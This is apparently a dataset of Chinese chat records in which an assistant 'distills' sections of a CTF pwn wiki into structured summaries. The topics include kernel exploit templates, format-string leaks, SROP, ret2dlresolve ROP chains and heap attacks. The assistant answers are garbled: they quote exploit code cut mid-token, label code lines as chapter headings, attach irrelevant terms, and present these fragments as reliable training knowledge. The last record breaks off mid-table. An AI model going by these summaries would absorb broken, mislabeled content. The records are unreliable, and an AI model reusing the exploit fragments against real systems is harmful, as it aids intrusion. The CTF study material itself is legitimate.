{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-be8216b4abe496f75cfd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`\n标题：简介\n章节：简介 > 常用代码模板\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/5\n\n核心知识点：\n- 本节主题围绕“常用代码模板”展开。\n- et_fd < 0) { printf(\"[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\\n\");\n- if (ret < 0) { printf(\"[x] failed at setsockopt(PACKET_VERSION)\\n\");\n- if (ret < 0) { printf(\"[x] failed at setsockopt(PACKET_TX_RING)\\n\");\n- } / init pgv-exploit subsystem :) / void prepare_pgv_system(void) { / pipe for pgv / pipe(cmd_pipe_req);\n- } int key_update(int keyid, void payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5180, "chunk_count": 5, "chunk_index": 1, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "常用代码模板", "heading_path": ["简介", "常用代码模板"], "original_id": "docs-8c9c58e31759ebd52cd3", "original_line": 719, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "source_root": "docs", "source_sha256": "00cdabd2da625d9d761c472642a9afa558f81201029fcfc1d5ca4af3c822c5d7", "split": "train", "split_group_key": "72ec51d5a65c044ab6114be5", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-be94e6611325c4709899", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：context.log_level = \"debug\" > 2018-XNUCA-gets > 分析\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- `python $ ls exp.py gets ``\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `确定好了 libc 的版本后，我们可以选一个 one_gadget，这里我选择第一个，较低地址的。`\n- plain: 1 行，首行 `使用如下 exp 继续爆破，`\n- plain: 1 行，首行 `最后获取到 shell。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1542, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["context.log_level = \"debug\"", "2018-XNUCA-gets", "分析"], "original_id": "docs-fc7b870ea1c2e186938f", "original_line": 1277, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "0c784656f34b2b5c8b007ae5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bee194f8e9cb441d371a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「获取栈变量数值」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 泄露内存 > 泄露栈内存 > 获取栈变量数值\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“获取栈变量数值”展开。\n- 方法如下 `text %n$x ` 利用如下的字符串，我们就可以获取到对应的第n+1个参数的数值。\n- 为了更加细致的观察，我们利用GDB来调试一下，以便于验证我们的想法，这里删除了一些不必要的信息，我们只关注代码段以及栈。\n- `shell gef➤ c Continuing. ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally] ` 当然，我们也可以使用%p来获取数据，如下 `python %p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xfff328c0.0xc2.0xf75c46bb ` 这里需要注意的是，并不是每次得到的结果都一样 ，因为栈上的数据会因为每次分配的内存页不同而有所不同，这是因为栈...\n- 需要注意的是，我们上面给出的方法，都是依次获得栈中的每个参数，我们有没有办法直接获取栈中被视为第n+1个参数的值呢？\n- 首先，我们可以利用格式化字符串来获取栈上变量的数值。\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n- code:python\n- code:text\n\n代码/命令片段线索：\n- shell: 4 行，首行 `➜ leakmemory git:(master) ✗ ./leakmemory`\n- shell: 3 行，首行 `➜ leakmemory git:(master) ✗ gdb leakmemory`\n- shell: 3 行，首行 `gef➤ r`\n- shell: 22 行，首行 `Breakpoint 1, __printf (format=0x8048563 \"%08x.%08x.%08x.%s\\n\") at printf.c:28`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4576, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "获取栈变量数值", "heading_path": ["利用", "泄露内存", "泄露栈内存", "获取栈变量数值"], "original_id": "docs-56a9837baa85b268a021", "original_line": 887, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "996ad117c9150fa7cf3b3b91", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:shell", "code:python", "code:text"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bf52cfc26fccebbdeb28", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 题目\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目”展开。\n- Defcon 2015 Qualifier: fuckup 参考阅读 - Sigreturn Oriented Programming (SROP) Attack攻击原理 - SROP by Angel Boy - 系统调用\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 417, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "题目", "heading_path": ["SROP", "题目"], "original_id": "docs-0919ce5e9797c5d0a0f5", "original_line": 1383, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "e46b1455578ace263101eb2b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c01a5f82eb71e0ba5fac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「call execv(\"/bin/sh\",0,0)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > call execv(\"/bin/sh\",0,0)\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“call execv(\"/bin/sh\",0,0)”展开。\n- 利用第三个程序起始地址进而读入payload - 再次读取构造sigreturn调用，进而将向栈地址所在位置读入数据，构造execve('/bin/sh',0,0) - 再次读取构造sigreturn调用，从而获取shell。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 668, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "call execv(\"/bin/sh\",0,0)", "heading_path": ["SROP", "call execv(\"/bin/sh\",0,0)"], "original_id": "docs-4d9831d0e57ec18a2818", "original_line": 1382, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "527c0025a99a82cd05a097de", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c026fc53916372cce7a5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md`\n标题：House of Orange\n章节：House of Orange > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- } ` 此时ptmalloc已经不能满足用户申请堆内存的操作，需要执行sysmalloc来向系统申请更多的空间。\n- 这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候，原来的top chunk会被释放并被置入unsorted bin中，通过这一点可以在没有free函数情况下获取到unsorted bins。\n- 但是对于堆来说有mmap和brk两种分配方式，我们需要让堆以brk的形式拓展，之后原有的top chunk会被置于unsorted bin中。\n- 如我们前面所述，House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。\n- 首先我们在程序中的malloc调用会执行到libc.so的_int_malloc函数中，在_int_malloc函数中，会依次检验fastbin、small bins、unsorted bin、large bins是否可以满足分配要求，因为尺寸问题这些都不符合。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `/*`\n- plain: 1 行，首行 `if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))`\n- plain: 4 行，首行 `assert((old_top == initial_top(av) && old_size == 0) ||`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1830, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["House of Orange", "原理"], "original_id": "docs-9ddfc4450b2feede7026", "original_line": 990, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md", "source_root": "docs", "source_sha256": "eb24a5de679105c6f7e15121ceb0af595501aab8048a0e3588df872e47ddec53", "split": "train", "split_group_key": "d2b2d54530cdb2daf0fbbfca", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "House of Orange"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c03786e063fa6396d706", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 64位程序格式化字符串漏洞 > 例子\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 这里，我们以 2017 年的 UIUCTF 中 pwn200 GoodLuck 为例进行介绍。\n- 这里由于只有本地环境，所以我在本地设置了一个 flag.txt 文件。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 195, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例子", "heading_path": ["例子", "64位程序格式化字符串漏洞", "例子"], "original_id": "docs-5ba42d51d4a468211086", "original_line": 854, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "19d89be2ae9a7f8803fa9b50", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c03be668405dcd2f828e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake stack”展开。\n- ret rop.raw(0x600B30+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef) print(len(rop.chain())) rop.raw('a'*(stack_size-len(rop.chain()))) io.send(rop.chain())\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 668, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake stack", "heading_path": ["construct fake stack"], "original_id": "docs-f6ee8ce6ba379b266151", "original_line": 1340, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "d8c02fcea98e70a09edeb2b5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c10e7dc71121c5a6397a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/history.md` 中的章节「2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/history.md`\n标题：V8 Design History\n章节：V8 Design History > 2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer”展开。\n- 而未开启 Ignition 的 V8 则走的是原来的全量代码生成 + Crankshaft 优化的路径（梦回 2010 了属于是）。\n- > 这个时候的整个编译管线变得又大又麻了，于是新的一轮架构优化便是必有的事情——\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 525, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer", "heading_path": ["V8 Design History", "2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer"], "original_id": "docs-edc7d1a61ec4e8e69c7c", "original_line": 624, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/history.md", "source_root": "docs", "source_sha256": "b868b727556ae3fca7666a655860c3f3f4f3193087d2bbc536898baa24f5ae90", "split": "train", "split_group_key": "4f183811a6e9b8a145228f7d", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "V8 Design History"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/history.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c11a8b4e50d51169e929", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Second try - no leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：rop.raw('\\x00'*(256-len(rop.chain()))) > Second try - no leak\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“Second try - no leak”展开。\n- 利用代码如下 ``python from pwn import *\n- `` 一般而言，至少有 __libc_start_main 已经解析过了。\n- org 600FF0h .got:0000000000600FF0 __libc_start_main_ptr dq offset __libc_start_main .got:0000000000600FF0 ;\n- DATA XREF: _read↑r .got.plt:0000000000601030 _got_plt ends .got.plt:0000000000601030 ` 与此同时，通过阅读 _dl_fixup 函数的代码，在设置 __builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) 为 0 后，我们可以发现，该函数主要依赖了 link_map 中 l_info 的内容。\n- ONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see . / ElfW(Dyn) l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `一般而言，至少有 __libc_start_main 已经解析过了。本例中，显然不止这一个函数。`\n- plain: 2 行，首行 `与此同时，通过阅读 `_dl_fixup` 函数的代码，在设置 `__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0)` 为 0 后，我们可以发现，该函数主要依赖了 link_...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2315, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Second try - no leak", "heading_path": ["rop.raw('\\x00'*(256-len(rop.chain())))", "Second try - no leak"], "original_id": "docs-5166cec4aef4e5f506a8", "original_line": 1366, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "297683225f0874fe1ef58ba0", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c1427d5e2cdf9bd8b5f3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 参考文献\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考文献”展开。\n- http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/ - https://github.com/HQ1995/Heap_Senior_Driver/tree/master/0ctf2016/zerostorage - https://github.com/scwuaptx/CTF/blob/master/2016-writeup/0ctf/zerostorage.py\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 220, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "参考文献", "heading_path": ["in order not to merge into top chunk", "参考文献"], "original_id": "docs-610533fc51b34d8f9304", "original_line": 1117, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "a2a1786f008d7b9a2ac20e44", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c15286f33ca675ef950d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「初始检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > 初始检查\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“初始检查”展开。\n- | 检查目标 | 检查条件 | 信息 | | :---: | :--------------------------------------: | :-----------------: | | 申请的大小 | REQUEST_OUT_OF_RANGE(req) ：((unsigned long) (req) >= (unsigned long) 